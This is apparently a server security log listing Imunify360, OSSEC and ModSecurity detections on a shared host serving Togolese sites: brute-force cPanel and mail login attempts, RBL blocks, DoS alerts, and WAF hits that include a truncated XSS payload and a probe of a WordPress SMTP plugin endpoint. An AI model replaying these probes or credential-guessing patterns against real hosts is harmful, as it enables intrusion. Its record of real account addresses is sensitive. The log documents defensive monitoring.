43.173.182.67 - - [26/Jun/2026:01:01:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080008&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F25105&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782435708 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/25105" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.67


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.222.123.78
country_id: 2921044
description:
2026-06-26 01:03:02 dovecot_plain authenticator failed for H=(d9xfnid0o0m3g89ma) [89.222.123.78]:57926: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.65.149.131
country_id: 1269750
description:
Jun 26 01:02:41 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.65.149.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.230.248
country_id: 2017370
description:
2026-06-26 01:02:58 dovecot_plain authenticator failed for H=(j5a0scacsmaf4evzrwf79) [104.28.230.248]:45171: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.245.249.5
country_id: 3469034
description:
Jun 26 01:04:03 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.245.249.5 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.148.210.52
country_id: 6252001
description:
[2026-06-26 01:04:06 +0000] info [cpaneld] 73.148.210.52 - ucaou "GET /login/?login_only=1&user=ucaou&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.149.202.134
country_id: 6252001
description:
[2026-06-26 01:03:22 +0000] info [cpaneld] 35.149.202.134 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 26 01:03:19 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.245.232.181
country_id: 3865483
description:
2026-06-26 01:03:46 dovecot_plain authenticator failed for H=(localhost) [190.245.232.181]:58967: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.188.165
country_id: 6251999
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.1
country_id: 6252001
description:
Jun 26 01:03:11 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.1 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.148.161
country_id: 690791
description:
Jun 26 01:03:30 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.148.161 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.253.117.141
country_id: 6252001
description:
[2026-06-26 01:03:59 +0000] info [cpaneld] 98.253.117.141 - ucaouuttg "GET /login/?login_only=1&user=ucaouuttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouuttg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.87.81.121
country_id: 6252001
description:
[2026-06-26 01:04:03 +0000] info [cpaneld] 72.87.81.121 - ucaouu "GET /login/?login_only=1&user=ucaouu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.154.29.116
country_id: 6252001
description:
[2026-06-26 01:04:38 +0000] info [cpaneld] 149.154.29.116 - kpmgtg "GET /login/?login_only=1&user=kpmgtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpmgtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.83.27.32
country_id: 6252001
description:
[2026-06-26 01:04:44 +0000] info [cpaneld] 68.83.27.32 - ameak "GET /login/?login_only=1&user=ameak&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameak (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.58.76.19
country_id: 6252001
description:
[2026-06-26 01:04:58 +0000] info [cpaneld] 71.58.76.19 - sm "GET /login/?login_only=1&user=sm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.222.176.180
country_id: 6252001
description:
[2026-06-26 01:05:04 +0000] info [cpaneld] 216.222.176.180 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.181.110.128
country_id: 99237
description:
[2026-06-26 01:05:07 +0000] info [cpaneld] 185.181.110.128 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.245.249.5
country_id: 3469034
description:
Jun 26 01:04:11 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.245.249.5 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.120.18.226
country_id: 6252001
description:
[2026-06-26 01:04:32 +0000] info [cpaneld] 71.120.18.226 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.234.243.71
country_id: 6252001
description:
[2026-06-26 01:05:08 +0000] info [cpaneld] 72.234.243.71 - speautg "GET /login/?login_only=1&user=speautg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user speautg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.7.217.55
country_id: 6252001
description:
[2026-06-26 01:04:30 +0000] info [cpaneld] 108.7.217.55 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.53.25.200
country_id: 6252001
description:
[2026-06-26 01:04:32 +0000] info [cpaneld] 173.53.25.200 - ben "GET /login/?login_only=1&user=ben&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ben (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.163.191.116
country_id: 6252001
description:
[2026-06-26 01:04:24 +0000] info [cpaneld] 97.163.191.116 - benat "GET /login/?login_only=1&user=benat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user benat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.183.234.195
country_id: 6252001
description:
[2026-06-26 01:04:41 +0000] info [cpaneld] 98.183.234.195 - kpm "GET /login/?login_only=1&user=kpm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.119.189.207
country_id: 6252001
description:
[2026-06-26 01:04:42 +0000] info [cpaneld] 216.119.189.207 - ho "GET /login/?login_only=1&user=ho&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ho (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.229.154.246
country_id: 6252001
description:
[2026-06-26 01:04:47 +0000] info [cpaneld] 24.229.154.246 - ameakco "GET /login/?login_only=1&user=ameakco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameakco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.183.68.132
country_id: 6252001
description:
[2026-06-26 01:04:17 +0000] info [cpaneld] 24.183.68.132 - benate "GET /login/?login_only=1&user=benate&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user benate (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.33.40
country_id: 3895114
description:
[2026-06-26 01:05:19 +0000] info [cpaneld] 190.114.33.40 - letablo "GET /login/?login_only=1&user=letablo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letablo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.176.234.203
country_id: 6252001
description:
[2026-06-26 01:05:10 +0000] info [cpaneld] 67.176.234.203 - davakconsultingcom "GET /login/?login_only=1&user=davakconsultingcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davakconsultingcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.107.234.138
country_id: 3658394
description:
[2026-06-26 01:05:13 +0000] info [cpaneld] 190.107.234.138 - letabloidtg "GET /login/?login_only=1&user=letabloidtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloidtg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.176.40.147
country_id: 2542007
description:
2026-06-26 01:05:20 dovecot_plain authenticator failed for H=(localhost) [160.176.40.147]:62922: 535 Incorrect authentication data (set_id=minoussa@cameg-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.159.28.185
country_id: 1733045
description:
[2026-06-26 01:05:32 +0000] info [cpaneld] 110.159.28.185 - leta "GET /login/?login_only=1&user=leta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leta (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.176.40.147
country_id: 2542007
description:
Jun 26 01:05:18 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.176.40.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.71.55.228
country_id: 6252001
description:
[2026-06-26 01:05:22 +0000] info [cpaneld] 174.71.55.228 - davak "GET /login/?login_only=1&user=davak&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davak (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.192.162.171
country_id: 6252001
description:
[2026-06-26 01:05:33 +0000] info [cpaneld] 24.192.162.171 - da "GET /login/?login_only=1&user=da&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user da (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.253.235.142
country_id: 2017370
description:
[2026-06-26 01:05:37 +0000] info [cpaneld] 80.253.235.142 - let "GET /login/?login_only=1&user=let&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user let (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.208.165
country_id: 1861060
domain: togofarm.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:161.123.208.165||TA:161.123.208.165||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.250.137.39
country_id: 1269750
description:
[2026-06-26 01:06:48 +0000] info [cpaneld] 103.250.137.39 - cf "GET /login/?login_only=1&user=cf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.19.61.224
country_id: 2017370
description:
[2026-06-26 01:06:37 +0000] info [cpaneld] 188.19.61.224 - cfmi "GET /login/?login_only=1&user=cfmi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-26 01:06:45 +0000] info [cpaneld] 188.166.248.160 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.160.166
country_id: 1880251
description:
[2026-06-26 01:06:48 +0000] info [cpaneld] 104.28.160.166 - afxvhoxo "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.120.63.193
country_id: 6252001
description:
[2026-06-26 01:08:07 +0000] info [cpaneld] 149.120.63.193 - hotelyabissocom "GET /login/?login_only=1&user=hotelyabissocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotelyabissocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.209.140.23
country_id: 6252001
description:
[2026-06-26 01:07:57 +0000] info [cpaneld] 98.209.140.23 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.100.68.109
country_id: 6252001
description:
[2026-06-26 01:08:02 +0000] info [cpaneld] 174.100.68.109 - hotelyabisso "GET /login/?login_only=1&user=hotelyabisso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotelyabisso (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.208.150
country_id: 1861060
domain: togofarm.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:161.123.208.150||TA:161.123.208.150||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.106.223.170
country_id: 1814991
description:
Jun 26 01:07:27 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.106.223.170 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.148.158.245
country_id: 6252001
description:
[2026-06-26 01:08:24 +0000] info [cpaneld] 38.148.158.245 - hot "GET /login/?login_only=1&user=hot&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hot (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.239.69.224
country_id: 6252001
description:
[2026-06-26 01:08:29 +0000] info [cpaneld] 24.239.69.224 - ho "GET /login/?login_only=1&user=ho&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ho (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.120.31.179
country_id: 6252001
description:
[2026-06-26 01:08:11 +0000] info [cpaneld] 71.120.31.179 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.214.196.160
country_id: 6252001
description:
[2026-06-26 01:08:12 +0000] info [cpaneld] 67.214.196.160 - hotelya "GET /login/?login_only=1&user=hotelya&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotelya (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.76.123.148
country_id: 6252001
description:
[2026-06-26 01:08:14 +0000] info [cpaneld] 73.76.123.148 - cfmi "GET /login/?login_only=1&user=cfmi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmi (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.224.34.17
country_id: 1814991
description:
Jun 26 01:08:18 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.224.34.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.18.178.34
country_id: 6252001
description:
[2026-06-26 01:08:19 +0000] info [cpaneld] 184.18.178.34 - hotel "GET /login/?login_only=1&user=hotel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotel (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.155.104.136
country_id: 1814991
description:
Jun 26 01:08:28 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.155.104.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.62.34.239
country_id: 1814991
description:
Jun 26 01:10:03 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.62.34.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.66.80.124
country_id: 1562822
description:
Jun 26 01:09:23 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.66.80.124 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 181.214.32.168
country_id: 2623032
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:181.214.32.168||TA:181.214.32.168||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.154.106
country_id: 1733045
description:
[2026-06-26 01:11:08 +0000] info [cpaneld] 161.142.154.106 - hori "GET /login/?login_only=1&user=hori&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hori (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.218.109.170
country_id: 2017370
description:
[2026-06-26 01:10:56 +0000] info [cpaneld] 185.218.109.170 - horizonm "GET /login/?login_only=1&user=horizonm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user horizonm (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 168.199.145.45
country_id: 1861060
domain: togofarm.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:168.199.145.45||TA:168.199.145.45||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.155.65.157
country_id: 2921044
description:
[2026-06-26 01:11:29 +0000] info [cpaneld] 84.155.65.157 - brmntg "GET /login/?login_only=1&user=brmntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.203.105.205
country_id: 2017370
description:
[2026-06-26 01:11:33 +0000] info [cpaneld] 193.203.105.205 - brm "GET /login/?login_only=1&user=brm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.80.81.58
country_id: 6251999
description:
[2026-06-26 01:11:26 +0000] info [cpaneld] 24.80.81.58 - brmn "GET /login/?login_only=1&user=brmn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.77.220.23
country_id: 6252001
description:
[2026-06-26 01:11:45 +0000] info [cpaneld] 185.77.220.23 - sky "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sky (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.93.0.112
country_id: 1562822
description:
Jun 26 01:11:26 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.93.0.112 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.225.200.224
country_id: 1562822
description:
[2026-06-26 01:11:15 +0000] info [cpaneld] 171.225.200.224 - ho "GET /login/?login_only=1&user=ho&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ho (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.101.233.6
country_id: 2921044
description:
Jun 26 01:12:12 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.101.233.6 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.59.11.214
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.59.11.214: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.196.192.191
country_id: 1814991
description:
Jun 26 01:13:43 ns5 auth[2495]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.196.192.191 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.160.166
country_id: 1880251
description:
[2026-06-26 01:14:29 +0000] info [cpaneld] 104.28.160.166 - a.mathey "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.209.84.141
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.209.84.141: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.101.96.129
country_id: 6252001
description:
[2026-06-26 01:15:46 +0000] info [cpaneld] 97.101.96.129 - opaconseilstg "GET /login/?login_only=1&user=opaconseilstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaconseilstg (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.135.217.85
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.135.217.85: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.138.78.188
country_id: 6252001
description:
[2026-06-26 01:16:08 +0000] info [cpaneld] 73.138.78.188 - opa "GET /login/?login_only=1&user=opa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.227.19.131
country_id: 6252001
description:
[2026-06-26 01:15:56 +0000] info [cpaneld] 71.227.19.131 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.51.132.177
country_id: 6252001
description:
[2026-06-26 01:15:50 +0000] info [cpaneld] 108.51.132.177 - metaart "GET /login/?login_only=1&user=metaart&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaart (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.104.14.199
country_id: 6252001
description:
[2026-06-26 01:15:53 +0000] info [cpaneld] 208.104.14.199 - metaarttg "GET /login/?login_only=1&user=metaarttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaarttg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.204.130.113
country_id: 6252001
description:
[2026-06-26 01:16:02 +0000] info [cpaneld] 174.204.130.113 - meta "GET /login/?login_only=1&user=meta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user meta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.50.78.70
country_id: 6252001
description:
[2026-06-26 01:15:55 +0000] info [cpaneld] 73.50.78.70 - opacons "GET /login/?login_only=1&user=opacons&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opacons (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.66.127.190
country_id: 6252001
description:
[2026-06-26 01:15:58 +0000] info [cpaneld] 173.66.127.190 - opacon "GET /login/?login_only=1&user=opacon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opacon (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 49.232.110.133
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/ayimolou-festival-un-plat-de-2500-f-englouti-en-8-minutes-chrono/<script async src=||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.170.194.6
country_id: 6252001
description:
[2026-06-26 01:19:14 +0000] info [cpaneld] 70.170.194.6 - dero "GET /login/?login_only=1&user=dero&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dero (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.138.72
country_id: 6252001
description:
[2026-06-26 01:19:25 +0000] info [cpaneld] 172.59.138.72 - libertetogotg "GET /login/?login_only=1&user=libertetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.36.93.212
country_id: 6252001
description:
[2026-06-26 01:19:57 +0000] info [cpaneld] 68.36.93.212 - libertetogotg "GET /login/?login_only=1&user=libertetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user libertetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.136.175.210
country_id: 6252001
description:
[2026-06-26 01:19:10 +0000] info [cpaneld] 75.136.175.210 - deroutg "GET /login/?login_only=1&user=deroutg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user deroutg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.153.113.213
country_id: 6252001
description:
[2026-06-26 01:19:17 +0000] info [cpaneld] 184.153.113.213 - der "GET /login/?login_only=1&user=der&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user der (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.39.7.226
country_id: 6252001
description:
